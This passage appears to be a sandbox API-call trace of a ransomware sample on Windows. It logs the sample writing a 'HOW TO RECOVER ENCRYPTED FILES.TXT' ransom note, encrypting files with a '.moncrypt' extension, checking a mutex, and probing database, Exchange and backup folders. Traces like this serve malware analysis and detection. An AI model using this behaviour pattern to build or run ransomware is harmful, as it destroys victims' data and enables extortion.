Explorer\\SIGNUP\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\internet explorer\\signup\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0059.005] WriteFile (in: hFile=0x184, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18f064, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18f064*=0x649, lpOverlapped=0x0) returned 1 [0059.006] CloseHandle (hObject=0x184) returned 1 [0059.006] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0059.006] GetLastError () returned 0x12 [0059.006] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0059.007] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.007] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.007] GlobalUnlock (hMem=0x44000c) returned 0 [0059.007] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.007] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.007] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.007] GlobalUnlock (hMem=0x44000c) returned 0 [0059.007] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.007] GlobalUnlock (hMem=0x440004) returned 0 [0059.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445c88c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x445c88c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0059.007] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0059.007] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.007] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.007] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.007] GlobalUnlock (hMem=0x440004) returned 0 [0059.007] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.008] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.008] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.008] GlobalUnlock (hMem=0x440004) returned 0 [0059.008] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.008] GlobalUnlock (hMem=0x44000c) returned 0 [0059.008] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.008] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x445c88c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x445c88c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.008] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.008] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.008] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.008] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.008] GlobalUnlock (hMem=0x44000c) returned 0 [0059.008] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.008] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.008] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.008] GlobalUnlock (hMem=0x44000c) returned 0 [0059.008] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.008] GlobalUnlock (hMem=0x440004) returned 0 [0059.008] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.008] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x445c88c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x445c88c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x445c88c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0059.008] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.008] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.008] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.008] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.008] GlobalUnlock (hMem=0x440004) returned 0 [0059.009] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.009] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.009] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.009] GlobalUnlock (hMem=0x440004) returned 0 [0059.009] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.009] GlobalUnlock (hMem=0x44000c) returned 0 [0059.009] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.009] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins.moncrypt", cAlternateFileName="")) returned 1 [0059.009] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0059.009] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0059.009] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.009] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.009] GlobalUnlock (hMem=0x44000c) returned 0 [0059.009] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.009] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.009] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.009] GlobalUnlock (hMem=0x44000c) returned 0 [0059.009] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.009] GlobalUnlock (hMem=0x440004) returned 0 [0059.009] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.009] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins.moncrypt", cAlternateFileName="")) returned 0 [0059.009] GetLastError () returned 0x12 [0059.009] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0059.010] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0059.010] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.010] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.010] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.010] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.010] GlobalUnlock (hMem=0x440004) returned 0 [0059.010] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.010] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.010] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.010] GlobalUnlock (hMem=0x440004) returned 0 [0059.010] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.010] GlobalUnlock (hMem=0x44000c) returned 0 [0059.010] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.010] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8ccc10, ftCreationTime.dwHighDateTime=0x1d59592, ftLastAccessTime.dwLowDateTime=0xa7a7dc50, ftLastAccessTime.dwHighDateTime=0x1d5a73c, ftLastWriteTime.dwLowDateTime=0xa7a7dc50, ftLastWriteTime.dwHighDateTime=0x1d5a73c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1 [0059.010] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.010] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.011] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.011] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.011] GlobalUnlock (hMem=0x44000c) returned 0 [0059.011] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.011] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.011] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.011] GlobalUnlock (hMem=0x44000c) returned 0 [0059.011] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.011] GlobalUnlock (hMem=0x440004) returned 0 [0059.011] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.011] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8ccc10, ftCreationTime.dwHighDateTime=0x1d59592, ftLastAccessTime.dwLowDateTime=0xa7a7dc50, ftLastAccessTime.dwHighDateTime=0x1d5a73c, ftLastWriteTime.dwLowDateTime=0xa7a7dc50, ftLastWriteTime.dwHighDateTime=0x1d5a73c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0 [0059.011] GetLastError () returned 0x12 [0059.011] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0059.011] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0059.011] FileTimeToLocalFileTime (in: lpFileTime=0x18f878, lpLocalFileTime=0x18f784 | out: lpLocalFileTime=0x18f784) returned 1 [0059.012] FileTimeToDosDateTime (in: lpFileTime=0x18f784, lpFatDate=0x18f846, lpFatTime=0x18f844 | out: lpFatDate=0x18f846, lpFatTime=0x18f844) returned 1 [0059.012] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.012] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.012] GlobalUnlock (hMem=0x440004) returned 0 [0059.012] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.012] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.012] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.012] GlobalUnlock (hMem=0x440004) returned 0 [0059.012] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.012] GlobalUnlock (hMem=0x44000c) returned 0 [0059.012] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.012] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.012] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.012] GlobalUnlock (hMem=0x44000c) returned 0 [0059.012] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.013] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.013] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.013] GlobalUnlock (hMem=0x44000c) returned 0 [0059.013] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.013] GlobalUnlock (hMem=0x440004) returned 0 [0059.013] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.013] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services", len=0x2c | out: pbstr=0x18f784*="C:\\Program Files\\Microsoft Analysis Services") returned 1 [0059.013] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.013] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.013] GlobalUnlock (hMem=0x440004) returned 0 [0059.013] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.013] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.013] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.013] GlobalUnlock (hMem=0x440004) returned 0 [0059.013] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.013] GlobalUnlock (hMem=0x44000c) returned 0 [0059.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⊢R≶R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.014] GetLastError () returned 0x3 [0059.014] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0059.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@∜R企@\x18䄌Q\x181")) returned 0xffffffff [0059.014] GetLastError () returned 0x2 [0059.014] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0059.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@嵤R企@\x18?T\x18;")) returned 0xffffffff [0059.015] GetLastError () returned 0x2 [0059.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@呤U企@\x18?T\x18D")) returned 0xffffffff [0059.015] GetLastError () returned 0x2 [0059.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0059.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@∜R企@\x18嵤R\x18j")) returned 0xffffffff [0059.016] GetLastError () returned 0x2 [0059.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0059.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@呤U企@\x18?T\x18q")) returned 0xffffffff [0059.016] GetLastError () returned 0x2 [0059.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\嵠RP") returned 6 [0059.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18y")) returned 0xffffffff [0059.016] GetLastError () returned 0x2 [0059.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0059.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0059.016] GetLastError () returned 0x2 [0059.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0059.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@呤U企@\x18?T\x18\x88")) returned 0xffffffff [0059.017] GetLastError () returned 0x2 [0059.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0059.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8d0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18\x8f")) returned 0xffffffff [0059.017] GetLastError () returned 0x2 [0059.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft analysis services\\") returned 0x2d [0059.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0059.017] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, 